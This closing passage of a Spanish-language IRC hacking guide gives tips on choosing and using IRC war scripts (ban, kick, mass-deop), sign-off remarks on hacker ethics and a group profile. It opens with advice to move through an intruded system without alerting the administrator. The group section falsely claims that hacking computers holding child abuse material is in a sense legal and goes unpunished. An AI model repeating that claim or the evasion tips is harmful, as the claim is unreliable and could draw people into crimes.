y con permisos de lectura y escritura , entonces solo nos queda movernos
por el sistema aunque procurar no llamar la atencion ni hacer cosas raras
o el admin os podia pillar :(
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
14 - Utilizacion de scripts .
Los scripts , esas peque¤as grandes utilidades que nos ayudan en nuestros
propositos :)
Bueno que decir de ellos , ya casi todo el mundo usa uno aunque los hay
de muchas variantes , del mas inocente hasta el mas perverso capaz de
hacer maravillas , je je je
Como hay tantos disponibles no me quiero enfocar en la utilizacion de
uno en concreto , aunque la mayoria suelen ser muy parecidos , como
por ejemplo : bannear , kick , mass-de-op , fserve y muchas mas opciones .
Por lo que mejor sere que de unos consejos por si no sabes cual utilizar .
-> Consejos en la utilizacion de scripts .
. Procura siempre tener varios a mano o en tu HD ( disco duro :)
. Los que mas ocupan por regla general suelen ser bastante buenos .
. Procura siempre tener la ultima version .
. Para empezar y conocerlo haz pruebas en el IRC con algun amigo ,
luego ya podras ajustar cuentas cuando sepas como funciona .
. La RED esta lleno de estas utilidades , nuevete un poco y tu
esfuerzo se vera recompensado .
. Procura que sea bastante completo en opciones , consutalo con
un colega sobre sus script y las opciones que tiene el .
. Hay script en espa¤ol muy buenos , por si el ingles te falla ;-)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
15 - Informacion general .
Pues lamento decirte que la guia ha llegado a su fin , espero que este
esfuerzo haya servido de algo y la informacion aqui contenida te haya
servido para algo .
Pero espero que no uses esta guia solo para joder el projimo , ya que
eso va encontra de la etica hacker .
Por el momento no se preeve una nueva vesion de la guia , pero nunca
se sabe , si aparece algo realmente interesante vere que se puede hacer .
Desde aqui quiero agradecer a todos aquellos que han aportado su grano
de arena sobre el HACKING en el IRC , revelando su informacion a la
masa que desea conocer esto del hack y tambien a todos eso programadores
que estan trabajando continuamente para sacar mejores progranas y script :)
A TODOS ELLOS UN SALUDO
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
16 - -J.J.F. / HACKERS TEAM - .
Que puedo decir de -JJF- , es un grupo de hackers de varias nacionalidades
que se dedican eso , al HACKING , ya que creemos que la informacion
desea ser libre y eso hacemos , pero jamas con malos fines o destruyendo
sistemas ya que va encontra de la politica del grupo a no ser que sean
sistemas con pornografia infatil , la cual aborrecemos y ajustamos las
cuentas :) , ademas sabias que en cierto modo el legal hackear ordenadores
con pornografia infantil ya que tambien es ilegal y no podras ser
perseguido ya que seguro que ellos no se lo diran a las autoridades :))))
Yo soy el CONDE VAMPIRO , uno de sus primeros mienbros y lo mio es el
hack y los virus , aunque lo que mas me gusta es la seguridad informatica .
Si quieres ponerte encontacto conmigo para cualquier cosa abajo encontraras
mi e-mail , pero no es el del grupo , lo siento pero es privado , y si me
escribres para decirme chorradas olvidame :)
Que conste que nosotros solo nos hemos dedicado a la recopilacion de la
informacion y aportando lo que creiamos que faltaba para que sea algo
tecnico y realmente util .
-> Mi e-mail .
conde_vampiro@usa.net
- No manches la RED con pornografia infantil -
CONDE VAMPIRO
- J.J.F. / HACKERS TEAM -